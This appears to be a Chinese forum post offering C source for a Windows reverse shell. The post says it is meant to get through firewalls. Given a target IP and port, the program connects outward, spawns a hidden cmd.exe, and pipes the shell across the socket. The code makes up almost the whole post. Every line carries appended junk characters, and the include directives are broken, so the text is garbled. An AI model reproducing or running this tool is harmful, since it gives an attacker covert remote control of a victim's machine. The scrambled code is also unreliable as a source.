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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I7=A!C"  
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/* ============================== 2cIbX  
Rebound port in Windows NT 1 \aTA,  
By wind,2006/7 dXM8iP  
===============================*/ PrfG  
#include ;34p [RT  
#include yVXVHCB  
:qB|~"9O  
#pragma comment(lib,"wsock32.lib") R6;#+ 1D  
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void OutputShell(); ?D)$O CS  
SOCKET sClient; Dyo^O=0c  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; E6O!e<ze^  
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void main(int argc,char **argv) o%;ly  
{ GB pdj}2=  
WSADATA stWsaData; n=$ne2/  
int nRet; *ej< 0I{  
SOCKADDR_IN stSaiClient,stSaiServer; KDGrX[L:6  
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if(argc != 3) J}8p}8eF,  
{ O(=9&PRi  
printf("Useage:\n\rRebound DestIP DestPort\n"); rMjb,2*rC7  
return; HYT~AO-!  
} $- %um  
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WSAStartup(MAKEWORD(2,2),&stWsaData); ' i5KRFy-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 4<E <sD  
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stSaiClient.sin_family = AF_INET; ew dTsgt'  
stSaiClient.sin_port = htons(0); L%\Wt1\[  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); iOb7g@=  
0#uB[N  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Qhc; Zl  
{ J#i7'9g  
printf("Bind Socket Failed!\n"); ErJ@$&7  
return; BV7P_!vt  
} 6dz^%Ub  
W1)<!nwA  
stSaiServer.sin_family = AF_INET; W+"^!p|  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 0MxK+8\y  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); SVd@- '-K  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) _$D!"z7i  
{ h. ftl2>  
printf("Connect Error!"); qAbmQ{|w  
return; fXl2i]L(^B  
} C%]qK(9vvd  
OutputShell(); #s\kF *  
} SRk!HuXh  
U  yV5A  
void OutputShell() $)9|"q6  
{ "cBqZzkk9j  
char szBuff[1024]; Lq;iR  
SECURITY_ATTRIBUTES stSecurityAttributes; d-tg^Ot#  
OSVERSIONINFO stOsversionInfo; ,t wB" *  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; L1(-xNUo_i  
STARTUPINFO stStartupInfo; ^_P?EJ,)`  
char *szShell; Qf ~$9?z  
PROCESS_INFORMATION stProcessInformation; g:y4C6b  
unsigned long lBytesRead; `0M6<e]C  
k[a<KbS  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); {}Is&^3Z  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); CX\XaM)l  
stSecurityAttributes.lpSecurityDescriptor = 0; =l*xM/S  
stSecurityAttributes.bInheritHandle = TRUE; VzHrKI  
zYY]+)k?  
G?XA",AC  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); Mb\(52`)Q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); <Y1 Plc  
GtZ.' ?-  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); cYC^;,C &|  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'OP0#`6`  
stStartupInfo.wShowWindow = SW_HIDE; 4Nt4(3Kf  
stStartupInfo.hStdInput = hReadPipe; V!^0E.?a  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ."B{U_P&  
SN L-6]j  
GetVersionEx(&stOsversionInfo); 2; ,8 u  
&}2@pu[S?7  
switch(stOsversionInfo.dwPlatformId) >,3uu}s  
{ c6c@ Xd V  
case 1: o}/|"(K  
szShell = "command.com"; VR&dy|5BO  
break; &V <f;PF(I  
default: Xz)F-C27h  
szShell = "cmd.exe"; #Mk: 4  
break; L)F4)VL  
} wi jO2F  
+ls`;f  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); g9VY{[ V  
g\.$4N  
send(sClient,szMsg,77,0); ,3f>-mP  
while(1) GCO: !,1  
{ `<>QKpAn  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); kI@<H<  
if(lBytesRead) 0^u Ut-  
{ ~:f..|JM  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); R"P-+T=7M  
send(sClient,szBuff,lBytesRead,0); ZBY2,%nAo  
} WfG +_iP?  
else @Bhcb.kbq  
{ '=Lpch2J  
lBytesRead=recv(sClient,szBuff,1024,0); *kqC^2t  
if(lBytesRead<=0) break; t? 6 et1~  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 7f ub^'_  
} =IQ}Y_xr  
} BYM6cp+S  
{ ,c*OR  
return; kVKAG\F  
}
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